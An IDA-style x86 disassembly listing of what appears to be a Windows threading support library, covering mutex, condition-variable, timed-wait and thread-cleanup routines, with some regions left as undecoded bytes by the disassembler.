; =============== S U B	R O U T	I N E =======================================



sub_430E10	proc near		; CODE XREF: sub_430C00+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_430EAE
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_430E42
		or	eax, 0FFFFFFFFh


loc_430E2C:				; CODE XREF: sub_430E10+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 2760411h
		test	eax, eax
		jnz	short loc_430E9C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E42:				; CODE XREF: sub_430E10+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_430E2C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E9C:				; CODE XREF: sub_430E10+2Aj
		cmp	eax, 102h
		jnz	short loc_430EAE
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430EAE:				; CODE XREF: sub_430E10+Bj
					; sub_430E10+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_430E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430F00	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_430FA0
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_430FA0
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_430F95
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_430F4A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jnz	short loc_430F4A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F4A:				; CODE XREF: sub_430F00+2Aj
					; sub_430F00+40j
		cmp	[esi+8], edi
		jnz	short loc_430F58
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_430F9A


loc_430F58:				; CODE XREF: sub_430F00+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		call	near ptr 27606B4h
		nop
		test	eax, eax
		jl	short loc_430F88
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F88
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_430F88:				; CODE XREF: sub_430F00+6Ej
					; sub_430F00+7Ej
		push	edi
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F95:				; CODE XREF: sub_430F00+1Ej
		mov	ebx, 16h


loc_430F9A:				; CODE XREF: sub_430F00+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430FA0:				; CODE XREF: sub_430F00+Aj
					; sub_430F00+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_430F00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430FE0	proc near		; CODE XREF: sub_40177Bj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_431065
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_431065
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431002
		push	esi
		call	sub_401C03
		add	esp, 4
		mov	edi, eax


loc_431002:				; CODE XREF: sub_430FE0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_431060
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431033
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43102B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43102B:				; CODE XREF: sub_430FE0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431033:				; CODE XREF: sub_430FE0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43105B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_43105B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43105B:				; CODE XREF: sub_430FE0+57j
					; sub_430FE0+6Dj
		mov	edi, 10h


loc_431060:				; CODE XREF: sub_430FE0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431065:				; CODE XREF: sub_430FE0+Aj
					; sub_430FE0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430FE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310A0:				; CODE XREF: ___:0040192Ej
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310D0:				; CODE XREF: ___:00401587j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018C0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431100:				; CODE XREF: ___:0040148Dj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43110C
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_43110C:				; CODE XREF: ___:00431106j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431120:				; CODE XREF: ___:00401BFEj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_431132
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431132:				; CODE XREF: ___:00431128j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_431155
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_431155
		call	sub_401CEE
; ---------------------------------------------------------------------------
		dd 0DA4E856h, 0E890023Fh, 0FFFD0B9Eh, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_431155:				; CODE XREF: ___:00431136j
					; ___:0043113Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43118E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43118E:				; CODE XREF: ___:00431184j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4311F6
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 2760411h
		test	eax, eax
		jnz	short loc_4311E7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4311D6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4311D6:				; CODE XREF: ___:004311B6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311E7:				; CODE XREF: ___:004311A2j
		cmp	eax, 102h
		jz	short loc_4311FC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311F6:				; CODE XREF: ___:00431194j
		call	near ptr 2821EEEh
		nop


loc_4311FC:				; CODE XREF: ___:004311ECj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431250:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C26
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43126B
		mov	eax, [esp+0]


loc_43126B:				; CODE XREF: ___:00431265j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431280	proc near		; CODE XREF: sub_401708j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		nop
		call	near ptr 27C0924h
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_50E3E0, eax
		nop
		call	near ptr 27D0000h
		test	eax, eax
		mov	dword_50E3FC, eax
		jnz	short loc_4312CD
		mov	eax, dword_50E3E0
		mov	dword_50E3FC, offset sub_4012D0
		push	eax
		nop
		call	near ptr 274033Dh
		mov	dword_50E3E0, 0


loc_4312CD:				; CODE XREF: sub_431280+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_431280	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431300	proc near		; CODE XREF: sub_40161Dj
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_431350
		mov	eax, dword_50E3E8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h
		dd 50E3E80Dh, 4C48300h,	6A118Bh, 0C5E89052h, 0E80230ECh
		dd 0FFFD02FBh, 50E3E0A1h, 74C08500h, 0E8905007h, 230EFEDh
; ---------------------------------------------------------------------------


loc_431350:				; CODE XREF: sub_431300+7j
		mov	eax, 1
		retn
sub_431300	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431380	proc near		; CODE XREF: sub_4017B2j
		mov	eax, 1
		retn
sub_431380	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4313A0	proc near		; CODE XREF: sub_4017C1j
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_4313DB
		mov	eax, dword_50E3E8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah,	8BFFFD03h
		dd 50E3E80Dh, 4C48300h,	6A118Bh, 0EC26E852h
; ---------------------------------------------------------------------------
		xor	[edx], al
		nop


loc_4313DB:				; CODE XREF: sub_4313A0+7j
		mov	eax, 1
		retn
sub_4313A0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431410:				; CODE XREF: ___:00402239j
		push	ecx
		push	esi
		push	offset dword_50E9C0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_50E3F0
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43144E


loc_43142C:				; CODE XREF: ___:0043144Cj
		test	esi, esi
		jnz	short loc_43144E
		lea	eax, [esp+4]
		push	eax
		call	sub_401604
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43142C


loc_43144E:				; CODE XREF: ___:0043142Aj
					; ___:0043142Ej
		push	offset dword_50E9C0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431490	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4314A9
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4314A9
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_4314A9
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4314A9:				; CODE XREF: sub_431490+6j
					; sub_431490+Cj ...
		mov	eax, 1
		retn
sub_431490	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4314C0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_4314CF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4314CF:				; CODE XREF: sub_4314C0+7j
		push	0
		push	offset dword_50E3E8
		mov	dword_50E3E4, 1
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jnz	short loc_4314FE
		push	eax
		push	offset dword_50E3EC
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jz	short loc_431503


loc_4314FE:				; CODE XREF: sub_4314C0+2Aj
		call	sub_40163B


loc_431503:				; CODE XREF: sub_4314C0+3Cj
		push	esi
		mov	esi, dword_50F85C
		push	offset dword_50E900
		call	esi
		push	offset dword_50E960
		call	esi
		push	offset dword_50E9C0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E9A0
		call	esi
		push	offset dword_50E980
		call	esi
		mov	eax, dword_50E3E4
		pop	esi
		retn
sub_4314C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431560	proc near		; CODE XREF: sub_40163Bj
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	locret_431619
		mov	eax, dword_50E3E8
		test	eax, eax
		jz	short loc_431589
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3E8, 0


loc_431589:				; CODE XREF: sub_431560+14j
		mov	eax, dword_50E3EC
		test	eax, eax
		jz	short loc_4315A5
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3EC, 0


loc_4315A5:				; CODE XREF: sub_431560+30j
		push	esi
		push	offset dword_50E900
		call	near ptr 7C901005h
		nop
		mov	eax, dword_44574C
		cmp	eax, 1
		jz	short loc_4315D3
		push	edi
		mov	edi, dword_50FAC4


loc_4315C2:				; CODE XREF: sub_431560+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4315C2
		pop	edi


loc_4315D3:				; CODE XREF: sub_431560+59j
		push	offset dword_50E900
		call	near ptr 7C9010EDh
		nop
		mov	esi, dword_50F858
		push	offset dword_50E980
		call	esi
		push	offset dword_50E9A0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E9C0
		call	esi
		push	offset dword_50E960
		call	esi
		push	offset dword_50E900
		call	esi
		mov	dword_50E3E4, 0
		pop	esi

locret_431619:				; CODE XREF: sub_431560+7j
		retn
sub_431560	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431650:				; CODE XREF: ___:loc_401B95j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		nop
		call	near ptr 77C2C21Bh
		mov	eax, dword_50E3E8
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_436A5C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4316AC
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316AC:				; CODE XREF: ___:00431699j
		dec	eax
		jz	short loc_4316B5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316B5:				; CODE XREF: ___:004316ADj
		mov	esi, [edi+14h]


loc_4316B8:				; CODE XREF: ___:004316AAj
					; ___:004316B3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4316D7
		call	sub_4017C1
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4316D7:				; CODE XREF: ___:004316BCj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431730	proc near		; CODE XREF: sub_4017ADj

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_4317AA
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402225
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BBD
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_50F8D8
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_431788
		push	eax
		call	esi


loc_431788:				; CODE XREF: sub_431730+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_40222F
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_4317AA
		test	[esp+8Ch+var_8], 1
		jnz	short loc_4317AA
		push	eax
		call	esi


loc_4317AA:				; CODE XREF: sub_431730+11j
					; sub_431730+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_431730	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317F0	proc near		; CODE XREF: sub_401DC5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431811
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431811:				; CODE XREF: sub_4317F0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402225
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_431852
		push	esi
		call	sub_40222F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431852:				; CODE XREF: sub_4317F0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431877
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_431877:				; CODE XREF: sub_4317F0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4317F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4318C0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4318E7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_4318E7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_4318E7
		push	esi
		call	sub_40222F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 8


loc_4318E7:				; CODE XREF: sub_4318C0+7j
					; sub_4318C0+Ej ...
		pop	esi
		retn
sub_4318C0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431900	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_43196D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_43196D
		push	edi


loc_431915:				; CODE XREF: sub_431900+6Aj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_431968
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_431943
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431943
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_431943
		push	eax


loc_43193E:				; CODE XREF: ___:004319B7j
		call	edi	; free
		add	esp, 4


loc_431943:				; CODE XREF: sub_431900+27j
					; sub_431900+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_431968:				; CODE XREF: sub_431900+20j
		test	esi, esi
		jnz	short loc_431915
		pop	edi


loc_43196D:				; CODE XREF: sub_431900+8j
					; sub_431900+12j
		pop	esi
		pop	ebx
		retn
sub_431900	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431990	proc near		; CODE XREF: sub_401DD4j
		mov	eax, dword_50E3E8
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_431990	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F7B3918h], edx
		ja	short loc_43193E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_4319C0+1


loc_4319C0:				; CODE XREF: ___:004319BEj
		jz	short loc_4319E5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_4319D2
		dec	eax
		jnz	short loc_4319D5
		or	esi, 0FFFFFFFFh
		jmp	short loc_4319D5
; ---------------------------------------------------------------------------


loc_4319D2:				; CODE XREF: ___:004319C8j
		mov	esi, [edi+14h]


loc_4319D5:				; CODE XREF: ___:004319CBj
					; ___:004319D0j
		call	sub_4017C1
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		pop	esi


loc_4319E5:				; CODE XREF: ___:loc_4319C0j
		push	1
		call	sub_401B0E
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431A20	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_431A20	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431A3F


loc_431A32:				; CODE XREF: ___:00431A3Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_431A32


loc_431A3F:				; CODE XREF: ___:00431A30j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: ___:00401DDEj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431A80	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_431A80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431AC0	proc near		; CODE XREF: sub_401C26j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 2770420h
		push	eax
		nop
		call	near ptr 2730B4Eh
		test	eax, eax
		jz	short loc_431B02
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_431AEC:				; CODE XREF: sub_431AC0+33j
		test	eax, edx
		jz	short loc_431AF1
		inc	ecx


loc_431AF1:				; CODE XREF: sub_431AC0+2Ej
		shl	eax, 1
		jnz	short loc_431AEC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_431B02:				; CODE XREF: sub_431AC0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_431AC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B30	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E9A0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431B64
		push	esi
		push	ecx
		call	sub_401F73
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E9A0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B64:				; CODE XREF: sub_431B30+17j
		test	eax, eax
		jnz	short loc_431B6D
		mov	esi, 16h


loc_431B6D:				; CODE XREF: sub_431B30+36j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BA0	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
